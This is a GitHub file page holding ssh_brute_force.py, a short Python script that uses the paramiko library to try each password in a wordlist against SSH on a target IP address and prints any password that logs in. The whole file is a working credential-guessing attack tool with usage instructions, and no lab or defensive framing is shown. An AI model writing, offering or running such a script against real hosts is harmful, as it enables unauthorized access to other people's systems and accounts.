-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathssh_brute_force.py
More file actions
44 lines (36 loc) · 1.28 KB
/
ssh_brute_force.py
File metadata and controls
44 lines (36 loc) · 1.28 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import paramiko
import sys
def ssh_connect(target, username, password, code=0):
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
ssh.connect(target, port=22, username=username, password=password)
except paramiko.AuthenticationException:
code = 1
ssh.close()
return code
def main():
if len(sys.argv) != 4:
print("Usage: python ssh_bruteforce.py <target_ip> <username> <password_file>")
sys.exit(1)
target = sys.argv[1]
username = sys.argv[2]
password_file = sys.argv[3]
try:
with open(password_file, 'r') as file:
for line in file.readlines():
password = line.strip()
try:
response = ssh_connect(target, username, password)
if response == 0:
print('Password found: ' + password)
exit(0)
elif response == 1:
print('No luck with password: ' + password)
except Exception as e:
print(e)
except FileNotFoundError:
print("Error: Password file not found. Please check the file path.")
sys.exit(1)
if __name__ == "__main__":
main()